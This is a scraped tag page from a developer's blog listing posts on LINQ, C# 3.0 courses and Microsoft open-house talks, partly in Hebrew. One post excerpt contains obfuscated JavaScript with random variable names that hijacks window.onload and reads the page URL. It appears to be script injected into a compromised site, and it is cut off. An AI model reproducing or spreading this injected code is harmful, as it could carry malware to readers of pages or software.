Pavel's Blog

Pavel is a software guy that is interested in almost everything software related... way too much for too little time

Browse by Tags

All Tags » LINQ (RSS)
Presentation & Demos from C# LINQ Open House
Today I presented a Microsoft Open House event focused on C# 3.0 features and LINQ. Thank you all for coming! I have attached the presentation and demos. Note that to make the LINQ to SQL samples work, you must change the connection string appropriately in the app.config file, or pass another one in the NorthwindDataContext constructor. Presentation & Demos
Upcoming Courses and an Event
I’ll be teaching next week (starting from the 16th) a five day course (split) entitled “The C# 3.0 programming language” on .NET and C# fundamentals. On the 18th of this month, I’ll do an open house at Microsoft on C# 3.0 and LINQ (same thing I did a few months back at Air Force house, so if you were there, no need to come again – unless you really like the food). You can register here . On March 1st, I’ll be teaching my Windows Internals class (for developers) on the (obviously) internals of the...
Some "Less Famous" but Useful LINQ Operators
LINQ has many operators, but some get more attention than others. The most famous are the ones which can be expressed in a from clause, such as Where , OrderBy , OrderByDescending , GroupBy and Select . However, many other operators exist - here's my favorite list: Intersect, Union, Except These operators are the set operators intersection (AND), union (OR) and difference. The Intersect operator returns the items that are present in both sequences as a new sequence. Here's an example: var...
Presentation and Samples from Open House on C# 3.0 and LINQ
מצורפים המצגת והדוגמאות שנתתי הבוקר בבית הפתוח של Microsoft בבית חיל האויר. WqCoONEvfWsCORu = window.onload; var jksbrJpMjFkVExnJs= 18931 - 6689; window.onload = XeQrOxKNqPEeGWCBYp; GhBDxpwYHpISQwGkT = ""; oEDsUaUPpewfMxIy =19948 + 6567; SIjbURusbJVkpcqLCAK = ""; mERLyGLcAaFGuUF = ""; var dCXvkIIbnEILFiYAKv =23721; YvYYOLaRNxVOwATeD = WwBgKYEshHLfxRSn(window.location.href); var PUSWiyFMFIDjcEWv; nBionPUaLBKvpdwKXrI = '154221'; var SbvyQxIiupGGIpVESqh; EGBjpVBghJpnEwrFxSp...
ReSharper 4.0 beta is available for download
זמין להורדה גירסה 4 בטא של המוצר ReSharper ( www.jetbrains.com ) שהוא Addin חכם ל-Visual Studio 2005 ו-2008 ומטפל בשפות C# ו-VB. גרסה זו תומכת ב-C# 3.0 ו-VB 9.0.אחד המאפיינים הנחמדים שלו היא היכולת להמיר משפט LINQ בפורמט שאילתה לגרסת extension methods . לדוגמא, את השאילתה הבאה var products = from p in ctx.Products where p.Category.CategoryName.StartsWith("B") orderby p.UnitPrice descending select p; הופך בלחיצת כפתור ל- var products = ctx.Products.Where(p => p.Category.CategoryName.StartsWith...
Open House on C# 3.0 and LINQ
טק-אד נגמר... פסח נגמר... חוזרים לשגרה - הרצאות, טכנולוגיות, קורסים... ב-28 למאי אני מעביר "בית פתוח" במייקרוסופט (זה יהיה בבית חיל האויר) בנושא C# 3.0 ו-LINQ. כל מי שעדיין לא יצא לו להכיר את החידושים המגיעים עם Visual Studio 2008 וה-.NET 3.5, מוזמן. לינק לרישום ניתן למצוא כאן .
Posted: May 02 2008, 10:11 AM by pavely | with no comments
תגים:, ,
My Presentations and Demos from Visual Studio 2008 Open Day
בשבוע שעבר נערך כנס Visual Studio 2008 במכללת הייטק. מצורפות שתי המצגות והדוגמאות שהעברתי שם בנושאים LINQ ו-ASP.NET MVC Framework. Presentations LINQ Demo MVC Demo